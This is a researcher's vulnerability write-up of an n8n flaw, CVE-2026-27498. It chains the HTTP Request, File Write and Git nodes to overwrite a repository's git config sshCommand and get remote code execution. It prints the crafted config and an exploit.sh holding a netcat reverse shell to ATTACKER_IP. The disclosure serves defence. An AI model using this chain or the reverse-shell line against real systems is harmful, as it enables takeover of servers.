n8n: Arbitrary Command Execution via File Write and Git Operations - CVE-2026-27498

• Advisory: CVE-2026-27498
• Read Before: n8n: OS Command Injection in Git Node - CVE-2026-25053

Intro

This post won’t be as long as the previous ones because, while this vulnerability is relatively simple to explain, its consequences are just as dangerous. It also won’t be a boring post stuffed with code blocks like the last one :) However, before reading this, I highly recommend checking out my post on CVE-2026-25053 linked above if you haven’t already. The method is almost identical; the only difference here is the inclusion of the File Write node in the process.

The Flaw

As you might recall from the CVE-2026-25053 post, I had discovered a parameter named sshCommand within the git config. By overwriting this parameter, we crafted an exploit that essentially led to RCE. After reporting that vulnerability, I started thinking about what dangerous actions I could perform with the “Read/Write Files From Disk” node at my disposal. It occurred to me to use the method I discovered in the previous vulnerability. To summarize:

• We have a node with “file write” capability.
• Since the process runs as the “node” user, we can’t write just anywhere. We need to write something that can lead us to RCE in a location writable by the “node” user.
• We also have an “HTTP Request” node.
• I don’t think I even need to mention the Git node :) It forms a crucial part of this chain.

I think I’ve given enough spoilers, and if you’ve read my other post, you’ve probably already spotted the exploitation method.

The Exploit

Let’s break it down step by step. But don’t worry, I’ll attach a screenshot of the workflow at the end of the post.

• Imagine we are pulling an external git repository using the Git node. We now have a git repository residing on the disk.
• Let’s create a git config on our attacker machine like the one below. Just like in the previous post, we are essentially overwriting the sshCommand field within this config. This means that when we trigger a git fetch operation, the sh /tmp/exploit.sh command inside it will execute. So far, so good. However, this file is still sitting on our attacker machine.

1
2
3
4
5
6
7
8
9
10
11
12

[core]
        repositoryformatversion = 0
        sshCommand = sh /tmp/exploit.sh
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = git@fakehost.com:fatih/fake.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

• We transfer this crafted config file to the n8n machine’s disk using the HTTP Request node.
• Next, using the ‘File Write’ node, we overwrite the config file inside the previously cloned repository with the config file we transferred to the n8n machine.
• Naturally, we need to replicate same HTTP step for the exploit.sh file. That is, we move an exploit.sh file like the one below into the /tmp/ directory on the n8n machine via the HTTP Request node. (I know this process could be executed in a dozen different ways, but I intentionally broke everything down as much as possible to keep the vulnerability report readable. So, I am simply sharing the flow exactly as I outlined it in my original report.)

1
2

#!/bin/sh
nc ATTACKER_IP 4444 -e sh >/dev/null 2>&1

• So, we now have a git repository with an overwritten config and a file named /tmp/exploit.sh sitting on the n8n machine. The only thing left to do at this stage is to trigger a fetch operation via the Git node. Once we do, the sh /tmp/exploit.sh command tucked inside the overwritten sshCommand parameter will execute, granting us command execution on the machine.

As you can see, by chaining together three seemingly harmless nodes, we managed to construct an exploit path leading straight to RCE. As promised, you can find the visual breakdown of this entire workflow below.